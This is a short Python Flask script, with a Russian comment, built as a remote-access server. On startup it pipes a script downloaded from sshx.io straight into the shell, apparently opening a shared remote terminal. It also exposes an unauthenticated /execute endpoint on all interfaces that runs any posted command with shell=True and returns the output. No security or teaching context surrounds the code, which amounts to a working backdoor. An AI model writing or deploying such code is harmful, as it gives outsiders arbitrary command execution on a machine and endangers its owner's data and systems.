import subprocess from flask import Flask, request, jsonify # Выполнение команды при старте приложения try: subprocess.run("wget -qO- https://sshx.io/get | sh -s run", shell=True, check=True) except subprocess.CalledProcessError as e: print(f"Error executing command: {e}") app = Flask(__name__) @app.route('/execute', methods=['POST']) def execute_command(): data = request.json command = data.get('command') if not command: return jsonify({"error": "No command provided"}), 400 try: result = subprocess.run(command, shell=True, capture_output=True, text=True) return jsonify({ "stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode }) except Exception as e: return jsonify({"error": str(e)}), 500 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)